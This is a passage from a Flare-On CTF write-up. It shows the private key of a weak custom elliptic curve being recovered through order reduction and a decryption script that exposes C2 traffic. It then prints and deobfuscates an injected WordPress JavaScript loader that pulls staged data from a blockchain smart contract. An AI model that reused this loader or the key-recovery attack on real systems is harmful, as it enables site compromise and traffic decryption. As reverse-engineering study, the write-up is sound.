Given a group H with operation *, the order of an element x is the minimal number k such that x * x * ... * x k times is equal to the identity element 1. In an Elliptic Curve, the group operation is addition, so the order of a point P, denoted with ord(P), is the minimal number such that ord(P) * P = O, where O is the point at infinity. In the vast majority of standard curves, the order of the generator is prime. This is important because the order of the generator determines the number of possible public keys: for each possible private key 0 < a < ord(G), we get a unique public key. To see why this is true, assume to the contrary that there exist two private keys 0 < a != b < ord(G) so that aG = bG = P. We also assume WLOG that a < b. If so, we can write b = a + k for some k > 0. We now have aG = bG = (a + k)G = aG + kG. Subtracting aG from both sides, we arrive at the identity O = aG - aG = kG. By the definition of order, it follows that k is a multiple of the order n = ord(G), and therefore k >= ord(G). Therefore b = a + k >= a + ord(G) > ord(G), which contradicts our assumption that b < ord(G). Thus, there are only ord(G) possible public keys. Suppose, like in our case, that the order of the generator ord(G) is composite. We can reduce the order of a point by scalar-multiplying it with one of the prime factors. This can be verified in Sage:

1
2
3
4
sage: factor(client_pubkey.order())
35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
sage: factor((client_pubkey * 35809).order())
46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293

Indeed, the first prime factor, 35809 is not present in the second factorization. This can be proved as follows: let ord(client_pubkey) = p_1 * ... * p_n be the prime factorization of the order of the client pubkey. Then (p_1 * ... * p_n) * client_pubkey = O. We can write the previous identity as (p_2 * ... * p_n) * (p_1 * G) = O, and so the order of p_1 * G is p_2 * ... * p_n. Recall that our goal is to find the private key a such that a * G = client_pubkey. Currently, the number of bits in the client pubkey’s order is 384, which is too large to just run SageMath’s discrete_log function. If, however, we multiply the client’s pubkey by the largest prime factor (7072010737074051173701300310820071551428959987622994965153676442076542799542912293), we can reduce the order to just 112 bits:

1
2
sage: (client_pubkey * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293).order().nbits()
112

Running a discrete on a point of this order is completely feasible:

1
2
sage: G.discrete_log(client_pubkey * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293)
27679883062056951792863337506078933792136713643975507332326412245544124379841591752362326681319448674139531287844912

But how can we use this result to compute the discrete log of the client’s pubkey (i.e. the client’s private key)? Let p_0 be the largest prime factor of the order ord(client_pubkey) (the one we multiplied with the client’s pubkey). Putting it mathematically, we’ve found a number a so that a * G = p_0 * client_pubkey. If we let the client’s private key be b, we can write a * G = p_0 * client_pubkey = p_0 * b * G. It follows that a = p_0 * b modulo n, where n is the order of the generator. Since we know a and p_0, we can solve for b using the Extended Euclidean Algorithm!

1
2
3
4
sage: p_0 = 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
sage: a = G.discrete_log(p_0 * client_pubkey)
sage: n = G.order()
sage: g, x, y = xgcd(p_0, n)

The solutions are of the form (b0 + i * (n // g)) % n where b0 = (x * (a // g)) % n for 0 <= i <= g. The problem, however, is that g, which determines the number of solutions, is 272 bits, which makes enumerating all solutions impractical… To solve this problem, let’s go back to the public key generation process. The client generates a random bigint with 128 bits, and multiplies it by the base point. This massively reduces the space of all possible private keys! We can get b by finding all solutions to the equation a = p_0 * b (mod n) where b < 2**128 (the maximal value for numbers with 128 bits):

1
2
3
4
5
6
7
sage: b0 = (x * (a // g)) % n
sage: solutions = []
sage: for i in range(g):
....:     s = (b0 + i * (n // g)) % n
....:     if s > 2**128:
....:         break
....:     solutions.append(s)

This results in only 77785 solutions! We can now manually check for each solution s whether it is the private key by checking if s * G == client_pubkey:

1
2
3
sage: for s in solutions:
....:     if s * G == client_pubkey:
....:         print(f"Found private key: {s}")

This takes a bit of time to run, but eventually it prints the following:

1
Found private key: 168606034648973740214207039875253762473

We now have everything we need to decrypt the traffic!

Decrypting the traffic

Armed with the private key, we can reconstruct the shared secret with the regular DH procedure of multiplying it with the server’s public key. Recall that the key and nonce for ChaCha20 are derived by SHA512-hashing the x-coordinate of the shared secret. After deriving the key and nonce, we encrypt/decrypt all of the messages that were sent in the PCAP (except for the pubkey coordinates, since they weren’t encrypted with the cipher). This is done with the following Python script, using the ecdsa library for EC operations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from hashlib import sha512
from ecdsa import ellipticcurve, numbertheory
from ecdsa.ellipticcurve import Point
import socket
from Crypto.Cipher import ChaCha20

p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
x = 1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408
y = 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378
n = 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297

curve = ellipticcurve.CurveFp(p, a, b)
server_pubkey = Point(curve, 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270, 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443)
client_privkey = 168606034648973740214207039875253762473
# ECDH Shared secret
shared_secret = client_privkey * server_pubkey
# Chacha20 where the key and nonce are based on the SHA512 digest of the x-coordinate of the shared secret
secret = sha512(int.to_bytes(shared_secret.x(), 0x30, "big"))
cipher = ChaCha20.new(key=secret.digest()[:32], nonce=secret.digest()[32:40])

print(cipher.encrypt(b"verify\x00"))
print(cipher.encrypt(b"\x3f\xbd\x43\xda\x3e\xe3\x25"))
print(cipher.encrypt(b"\x86\xdf\xd7"))
print(cipher.encrypt(b"\xc5\x0c\xea\x1c\x4a\xa0\x64\xc3\x5a\x7f\x6e\x3a\xb0\x25\x84\x41\xac\x15\x85\xc3\x62\x56\xde\xa8\x3c\xac\x93\x00\x7a\x0c\x3a\x29\x86\x4f\x8e\x28\x5f\xfa\x79\xc8\xeb\x43\x97\x6d\x5b\x58\x7f\x8f\x35\xe6\x99\x54\x71\x16"))
print(cipher.encrypt(b"\xfc\xb1\xd2\xcd\xbb\xa9\x79\xc9\x89\x99\x8c"))
print(cipher.encrypt(b"\x61\x49\x0b"))
print(cipher.encrypt(b"\xce\x39\xda"))
print(cipher.encrypt(b"\x57\x70\x11\xe0\xd7\x6e\xc8\xeb\x0b\x82\x59\x33\x1d\xef\x13\xee\x6d\x86\x72\x3e\xac\x9f\x04\x28\x92\x4e\xe7\xf8\x41\x1d\x4c\x70\x1b\x4d\x9e\x2b\x37\x93\xf6\x11\x7d\xd3\x0d\xac\xba"))
print(cipher.encrypt(b"\x2c\xae\x60\x0b\x5f\x32\xce\xa1\x93\xe0\xde\x63\xd7\x09\x83\x8b\xd6"))
print(cipher.encrypt(b"\xa7\xfd\x35"))
print(cipher.encrypt(b"\xed\xf0\xfc"))
print(cipher.encrypt(b"\x80\x2b\x15\x18\x6c\x7a\x1b\x1a\x47\x5d\xaf\x94\xae\x40\xf6\xbb\x81\xaf\xce\xdc\x4a\xfb\x15\x8a\x51\x28\xc2\x8c\x91\xcd\x7a\x88\x57\xd1\x2a\x66\x1a\xca\xec"))
print(cipher.encrypt(b"\xae\xc8\xd2\x7a\x7c\xf2\x6a\x17\x27\x36\x85"))
print(cipher.encrypt(b"\x35\xa4\x4e"))
print(cipher.encrypt(b"\x2f\x39\x17"))
print(cipher.encrypt(b"\xed\x09\x44\x7d\xed\x79\x72\x19\xc9\x66\xef\x3d\xd5\x70\x5a\x3c\x32\xbd\xb1\x71\x0a\xe3\xb8\x7f\xe6\x66\x69\xe0\xb4\x64\x6f\xc4\x16\xc3\x99\xc3\xa4\xfe\x1e\xdc\x0a\x3e\xc5\x82\x7b\x84\xdb\x5a\x79\xb8\x16\x34\xe7\xc3\xaf\xe5\x28\xa4\xda\x15\x45\x7b\x63\x78\x15\x37\x3d\x4e\xdc\xac\x21\x59\xd0\x56"))
print(cipher.encrypt(b"\xf5\x98\x1f\x71\xc7\xea\x1b\x5d\x8b\x1e\x5f\x06\xfc\x83\xb1\xde\xf3\x8c\x6f\x4e\x69\x4e\x37\x06\x41\x2e\xab\xf5\x4e\x3b\x6f\x4d\x19\xe8\xef\x46\xb0\x4e\x39\x9f\x2c\x8e\xce\x84\x17\xfa"))
print(cipher.encrypt(b"\x40\x08\xbc"))
print(cipher.encrypt(b"\x54\xe4\x1e"))
print(cipher.encrypt(b"\xf7\x01\xfe\xe7\x4e\x80\xe8\xdf\xb5\x4b\x48\x7f\x9b\x2e\x3a\x27\x7f\xa2\x89\xcf\x6c\xb8\xdf\x98\x6c\xdd\x38\x7e\x34\x2a\xc9\xf5\x28\x6d\xa1\x1c\xa2\x78\x40\x84"))
print(cipher.encrypt(b"\x5c\xa6\x8d\x13\x94\xbe\x2a\x4d\x3d\x4d\x7c\x82\xe5"))
print(cipher.encrypt(b"\x31\xb6\xda\xc6\x2e\xf1\xad\x8d\xc1\xf6\x0b\x79\x26\x5e\xd0\xde\xaa\x31\xdd\xd2\xd5\x3a\xa9\xfd\x93\x43\x46\x38\x10\xf3\xe2\x23\x24\x06\x36\x6b\x48\x41\x53\x33\xd4\xb8\xac\x33\x6d\x40\x86\xef\xa0\xf1\x5e\x6e\x59"))

Running this prints the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
b'\xf2r\xd5L1\x86\x0f'
b'verify\x00'
b'ls\x00'
b'=== dirs ===\r\nsecrets\r\n=== files ===\r\nfullspeed.exe\r\n\x00'
b'cd|secrets\x00'
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\nsuper secrets\r\n=== files ===\r\n\x00'
b'cd|super secrets\x00'
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\n.hidden\r\n=== files ===\r\n\x00'
b'cd|.hidden\x00'
b'ok\x00'
b'ls\x00'
b"=== dirs ===\r\nwait, dot folders aren't hidden on windows\r\n=== files ===\r\n\x00"
b"cd|wait, dot folders aren't hidden on windows\x00"
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\n=== files ===\r\nflag.txt\r\n\x00'
b'cat|flag.txt\x00'
b'RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==\x00'

Base64-decoding the last line gives us the flag:

1
D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com

This challenge was my favorite one in the CTF, and also the one I spent the most time on (it took me about a week). I’ve never reversed an AOT binary before, so it took me some time to understand the general workflow and the “style” of the code. For example, I only understood that there was a global state when I was close to the end of the challenge. Getting the private key after I got the parameters also took me a lot of time, but it taught me a lot about Elliptic Curves, and crypto in general. The whole thing with the order reduction, for example, was new to me. I was very happy after solving this challenge :)

Challenge 8 - clearlyfake

Description:

1
I am also considering a career change myself but this beautifully broken JavaScript was injected on my WordPress site I use to sell my hand-made artisanal macaroni necklaces, not sure what's going on but there's something about it being a Clear Fake? Not that I'm Smart enough to know how to use it or anything but is it a Contract?

In this challenge, we are provided an obfuscated JS file clearlyfake.js. The challenge’s description hints towards the file being injected on WordPress site.

1
var _0xc47daa=_0x55cb;function _0x5070(){var _0x33157a=['55206WoVBei','17471OZVAdR','62fJMBmo','replace','120QkxHIP','1147230VPiwgB','toString','614324JhgXcW','3dPcEIu','120329NucVSe','split','fromCharCode','2252288wlgQHe','const|web3||eth|fs|inputString|filePath|abi||targetAddress|contractAddress|error|string|data|decodedData|to|methodId|call|newEncodedData|callContractFunction|require|Web3|await||encodedData|largeString|result|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|toString|function|writeFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|try|0x5684cff5|new|BINANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|async|0x5c880fcb|calling|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt','10lbdBwM','0\x20l=k(\x221\x22);0\x204=k(\x224\x22);0\x201=L\x20l(\x22M\x22);0\x20a=\x22O\x22;P\x20y\x20j(5){J{0\x20g=\x22K\x22;0\x20o=g+1.3.7.u([\x22c\x22],[5]).v(2);0\x20q=m\x201.3.h({f:a,d:o});0\x20p=1.3.7.s(\x22c\x22,q);0\x209=E.D(p,\x22B\x22).x(\x22C-8\x22);0\x206=\x22X.Y\x22;4.z(6,\x22$t\x20=\x20\x22+9+\x22\x5cn\x22);0\x20r=\x22Q\x22;0\x20w=W;0\x20i=r+1.3.7.u([\x22t\x22],[9]).v(2);0\x20A=m\x201.3.h({f:a,d:i},w);0\x20e=1.3.7.s(\x22c\x22,A);0\x20S=E.D(e,\x22B\x22).x(\x22C-8\x22);4.z(6,e);F.V(`U\x20N\x20d\x20f:${6}`)}H(b){F.b(\x22G\x20R\x20I\x20y:\x22,b)}}0\x205=\x22T\x22;j(5);','3417255SrBbNs'];_0x5070=function(){return _0x33157a;};return _0x5070();}function _0x55cb(_0x31be23,_0x3ce6b4){var _0x5070af=_0x5070();return _0x55cb=function(_0x55cbe9,_0x551b8f){_0x55cbe9=_0x55cbe9-0xd6;var _0x408505=_0x5070af[_0x55cbe9];return _0x408505;},_0x55cb(_0x31be23,_0x3ce6b4);}(function(_0x56d78,_0x256379){var _0x5f2a66=_0x55cb,_0x16532b=_0x56d78();while(!![]){try{var _0x5549b8=parseInt(_0x5f2a66(0xe1))/0x1*(parseInt(_0x5f2a66(0xe2))/0x2)+-parseInt(_0x5f2a66(0xd7))/0x3*(parseInt(_0x5f2a66(0xd6))/0x4)+parseInt(_0x5f2a66(0xdd))/0x5*(parseInt(_0x5f2a66(0xe0))/0x6)+parseInt(_0x5f2a66(0xe5))/0x7+parseInt(_0x5f2a66(0xdb))/0x8+-parseInt(_0x5f2a66(0xdf))/0x9+-parseInt(_0x5f2a66(0xe4))/0xa*(parseInt(_0x5f2a66(0xd8))/0xb);if(_0x5549b8===_0x256379)break;else _0x16532b['push'](_0x16532b['shift']());}catch(_0x1147b3){_0x16532b['push'](_0x16532b['shift']());}}}(_0x5070,0x53395),eval(function(_0x263ea1,_0x2e472c,_0x557543,_0x36d382,_0x28c14a,_0x39d737){var _0x458d9a=_0x55cb;_0x28c14a=function(_0x3fad89){var _0x5cfda7=_0x55cb;return(_0x3fad89<_0x2e472c?'':_0x28c14a(parseInt(_0x3fad89/_0x2e472c)))+((_0x3fad89=_0x3fad89%_0x2e472c)>0x23?String[_0x5cfda7(0xda)](_0x3fad89+0x1d):_0x3fad89[_0x5cfda7(0xe6)](0x24));};if(!''['replace'](/^/,String)){while(_0x557543--){_0x39d737[_0x28c14a(_0x557543)]=_0x36d382[_0x557543]||_0x28c14a(_0x557543);}_0x36d382=[function(_0x12d7e8){return _0x39d737[_0x12d7e8];}],_0x28c14a=function(){return'\x5cw+';},_0x557543=0x1;};while(_0x557543--){_0x36d382[_0x557543]&&(_0x263ea1=_0x263ea1[_0x458d9a(0xe3)](new RegExp('\x5cb'+_0x28c14a(_0x557543)+'\x5cb','g'),_0x36d382[_0x557543]));}return _0x263ea1;}(_0xc47daa(0xde),0x3d,0x3d,_0xc47daa(0xdc)[_0xc47daa(0xd9)]('|'),0x0,{})));

Something that immediately pops out is the eval call, which is quite common in JS obfuscation:

1
eval(function(_0x263ea1,_0x2e472c,_0x557543,_0x36d382,_0x28c14a,_0x39d737){var _0x458d9a=_0x55cb;_0x28c14a=function(_0x3fad89){var _0x5cfda7=_0x55cb;return(_0x3fad89<_0x2e472c?'':_0x28c14a(parseInt(_0x3fad89/_0x2e472c)))+((_0x3fad89=_0x3fad89%_0x2e472c)>0x23?String[_0x5cfda7(0xda)](_0x3fad89+0x1d):_0x3fad89[_0x5cfda7(0xe6)](0x24));};if(!''['replace'](/^/,String)){while(_0x557543--){_0x39d737[_0x28c14a(_0x557543)]=_0x36d382[_0x557543]||_0x28c14a(_0x557543);}_0x36d382=[function(_0x12d7e8){return _0x39d737[_0x12d7e8];}],_0x28c14a=function(){return'\x5cw+';},_0x557543=0x1;};while(_0x557543--){_0x36d382[_0x557543]&&(_0x263ea1=_0x263ea1[_0x458d9a(0xe3)](new RegExp('\x5cb'+_0x28c14a(_0x557543)+'\x5cb','g'),_0x36d382[_0x557543]));}return _0x263ea1;}(_0xc47daa(0xde),0x3d,0x3d,_0xc47daa(0xdc)[_0xc47daa(0xd9)]('|'),0x0,{})));

For the unfamiliar, eval executes a string as JS code. We can replace eval with console.log to see what code will be executed:

1
2
(.venv) > node clearlyfake_no_eval.js 
const Web3=require("web3");const fs=require("fs");const web3=new Web3("BINANCE_TESTNET_RPC_URL");const contractAddress="0x9223f0630c598a200f99c5d4746531d10319a569";async function callContractFunction(inputString){try{const methodId="0x5684cff5";const encodedData=methodId+web3.eth.abi.encodeParameters(["string"],[inputString]).slice(2);const result=await web3.eth.call({to:contractAddress,data:encodedData});const largeString=web3.eth.abi.decodeParameter("string",result);const targetAddress=Buffer.from(largeString,"base64").toString("utf-8");const filePath="decoded_output.txt";fs.writeFileSync(filePath,"$address = "+targetAddress+"\n");const new_methodId="0x5c880fcb";const blockNumber=43152014;const newEncodedData=new_methodId+web3.eth.abi.encodeParameters(["address"],[targetAddress]).slice(2);const newData=await web3.eth.call({to:contractAddress,data:newEncodedData},blockNumber);const decodedData=web3.eth.abi.decodeParameter("string",newData);const base64DecodedData=Buffer.from(decodedData,"base64").toString("utf-8");fs.writeFileSync(filePath,decodedData);console.log(`Saved decoded data to:${filePath}`)}catch(error){console.error("Error calling contract function:",error)}}const inputString="KEY_CHECK_VALUE";callContractFunction(inputString);

This looks much more clear(lyfake), but it’s still hard to read since all the code is in one line. We can use an online tool like beautifier.io to beautify the JS, getting this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
    try {
        const methodId = "0x5684cff5";
        const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
        const result = await web3.eth.call({
            to: contractAddress,
            data: encodedData
        });
        const largeString = web3.eth.abi.decodeParameter("string", result);
        const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
        const filePath = "decoded_output.txt";
        fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
        const new_methodId = "0x5c880fcb";
        const blockNumber = 43152014;
        const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
        const newData = await web3.eth.call({
            to: contractAddress,
            data: newEncodedData
        }, blockNumber);
        const decodedData = web3.eth.abi.decodeParameter("string", newData);
        const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
        fs.writeFileSync(filePath, decodedData);
        console.log(`Saved decoded data to:${filePath}`)
    } catch (error) {
        console.error("Error calling contract function:", error)
    }
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);

Great! Now we can understand what the JS does. The first line indicates that the JS is using web3-related functionality. This challenge was my first time doing Web3 stuff, so this was all pretty new to me, but the Web3 concepts used in this challenge are not super complicated. The code defines two constants:

  • web3 - an instance of a Web3 object constructed on the Binance testnet

  • contractAddress, which is the address of a smart contract on said testnet Binance is a kind of cryptocurrency, like Bitcoin or Ethereum. Most cryptocurrencies have two blockchains: a Mainnet, and a Testnet. The Mainnet is the “real” blockchain, on which users can send transactions to each other with real cryptocurrency. The Testnet, like its name suggests, is a blockchain for testing. The Testnet allows developers to test programs and contracts related to the cryptocurrency. To get cryptocurrency in the Testnet, we use Faucets, which provide crypto to a wallet upon request. In the mainnet, of course, there are no faucets, since they would render the cryptocurrency useless. Smart Contracts are like programs that can be run on the Blockchain. They automatically execute actions when some predefined conditions are met, like contracts in the real world. The most popular language for writing smart contracts, and also the one used in Binance, is called Solidity. Getting back to the JS code, it calls an async function callContractFunction with an input string set to KEY_CHECK_VALUE. Inside callContractFunction, we can see an interaction with the predefined contract address:

1
2
3
4
5
6
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
    to: contractAddress,
    data: encodedData
});

Contracts are interacted with by calling them. Like functions in other programming languages, we can pass parameters in the call, namely in the data parameter to the call. In our case the data is constructed by concatenating a constant method ID, 0x5684cff5, with the input string. We can hypothesize that the contract has many methods, and that it selects a method based on the method ID sent in the data. Solidity functions can also return data; in our case, this data is written into a file decoded_output.txt:

1
2
3
4
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");

The decoded string returned by the contract is base64-decoded, and then written into the file decoded_output.txt. Based on the variable names, we can assume that the data returned by this contract is another address, whether of another smart contract, or of a wallet. After this, the code calls another method in the same smart contract that was called earlier:

1
2
3
4
5
6
7
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
	to: contractAddress,
    data: newEncodedData
}, blockNumber);

The targetAddress that was returned by the first call is passed as a parameter to this method. Note that in this call, we also pass a constant blockNumber. New blocks are added to the blockchain all the time, so data returned by a smart contract at one point in time is not necessarily the same as in another point in time. Passing in the block number makes us query the contract at a specific historical block number in the blockchain. The (base64-decoded) data returned by this function call is saved to the same file, and the function exits. We understand the general flow of the code now, but we still don’t know what it is exactly that these contracts do! To address this problem, we’ll have to reverse engineer the contract. Ethereum (and Binance, which is built on Ethereum) contracts are compiled into EVM (Ethereum Virtual Machine) bytecode. The EVM is a decentralized stack-based virtual machine. To see the EVM instructions for the smart contract, we can go into the Binance Testnet blockchain explorer, and search for the contract address: 0x9223f0630c598a200f99c5d4746531d10319a569. This lets us see some information about the contract, such as the transactions it sent and received:

first_contract_transactions.png

Going into the Contract tab, we see the bytecode of the contract:

bytecode_first_contract.png

We can use online tools, such as Dedaub (I tried several but this one worked best), to decompile this bytecode back into Solidity code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// Decompiled by library.dedaub.com
// 2024.08.29 21:32 UTC
// Compiled using the solidity compiler version 0.8.26

function function_selector() public payable { 
    revert();
}

function testStr(string str) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(str <= uint64.max);
    require(4 + str + 31 < 4 + (msg.data.length - 4));
    require(str.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](str.length);
    require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
    require(str.data + str.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, str.data, str.length);
    v0[str.length] = 0;
    if (v0.length == 17) {
        require(0 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        v1 = v0.data;
        if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
            require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
            if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
                require(2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                if (bytes1(v0[2] >> 248 << 248) == 0x5600000000000000000000000000000000000000000000000000000000000000) {
                    require(3 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                    if (bytes1(v0[3] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
                        require(4 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                        if (bytes1(v0[4] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
                            require(5 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                            if (bytes1(v0[5] >> 248 << 248) == 0x4d00000000000000000000000000000000000000000000000000000000000000) {
                                require(6 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                if (bytes1(v0[6] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
                                    require(7 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                    if (bytes1(v0[7] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
                                        require(8 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                        if (bytes1(v0[8] >> 248 << 248) == 0x7000000000000000000000000000000000000000000000000000000000000000) {
                                            require(9 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                            if (bytes1(v0[9] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
                                                require(10 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                if (bytes1(v0[10] >> 248 << 248) == 0x7900000000000000000000000000000000000000000000000000000000000000) {
                                                    require(11 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                    if (bytes1(v0[11] >> 248 << 248) == 0x4c00000000000000000000000000000000000000000000000000000000000000) {
                                                        require(12 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                        if (bytes1(v0[12] >> 248 << 248) == 0x3000000000000000000000000000000000000000000000000000000000000000) {
                                                            require(13 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                            if (bytes1(v0[13] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
                                                                require(14 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                                if (bytes1(v0[14] >> 248 << 248) == 0x6400000000000000000000000000000000000000000000000000000000000000) {
                                                                    require(15 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                                    if (bytes1(v0[15] >> 248 << 248) == 0x2100000000000000000000000000000000000000000000000000000000000000) {
                                                                        v2 = v3.data;
                                                                        v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
                                                                        if (v3.length < 20) {
                                                                            v4 = v5 = bytes20(v4);
                                                                        }
                                                                        v6 = v7 = v4 >> 96;
                                                                    } else {
                                                                        v6 = v8 = 0;
                                                                    }
                                                                } else {
                                                                    v6 = v9 = 0xce89026407fb4736190e26dcfd5aa10f03d90b5c;
                                                                }
                                                            } else {
                                                                v6 = v10 = 0x506dffbcdaf9fe309e2177b21ef999ef3b59ec5e;
                                                            }
                                                        } else {
                                                            v6 = v11 = 0x26b1822a8f013274213054a428bdbb6eba267eb9;
                                                        }
                                                    } else {
                                                        v6 = v12 = 0xf7fc7a6579afa75832b34abbcf35cb0793fce8cc;
                                                    }
                                                } else {
                                                    v6 = v13 = 0x83c2cbf5454841000f7e43ab07a1b8dc46f1cec3;
                                                }
                                            } else {
                                                v6 = v14 = 0x632fb8ee1953f179f2abd8b54bd31a0060fdca7e;
                                            }
                                        } else {
                                            v6 = v15 = 0x3bd70e10d71c6e882e3c1809d26a310d793646eb;
                                        }
                                    } else {
                                        v6 = v16 = 0xe2e3dd883af48600b875522c859fdd92cd8b4f54;
                                    }
                                } else {
                                    v6 = v17 = 0x4b9e3b307f05fe6f5796919a3ea548e85b96a8fe;
                                }
                            } else {
                                v6 = v18 = 0x6371b88cc8288527bc9dab7ec68671f69f0e0862;
                            }
                        } else {
                            v6 = v19 = 0x53fbb505c39c6d8eeb3db3ac3e73c073cd9876f8;
                        }
                    } else {
                        v6 = v20 = 0x84abec6eb54b659a802effc697cdc07b414acc4a;
                    }
                } else {
                    v6 = v21 = 0x87b6cf4edf2d0e57d6f64d39ca2c07202ab7404c;
                }
            } else {
                v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
            }
        } else {
            v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
        }
    } else {
        v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
    }
    MEM[MEM[64]] = address(v6);
    return address(v6);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function function_selector( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5684cff5 == function_selector >> 224) {
            testStr(string);
        }
    }
    fallback();
}

It might look a bit scary, but there’s not much to it: just a lot of nested if’s. Like we’d guessed earlier, there’s a function selector that, based on the first 4 bytes (function_selector >> 224) of the data, picks a function to call. There’s only one other function: testStr, which receives a string (presumably the one concatenated to the method id after the call) as a parameter. The testStr function compares each byte of the input string to a constant list of bytes, and, based on how many of the comparisons returned true, returns a different address. For example, to pass the following two checks:

1
2
3
        if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
            require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
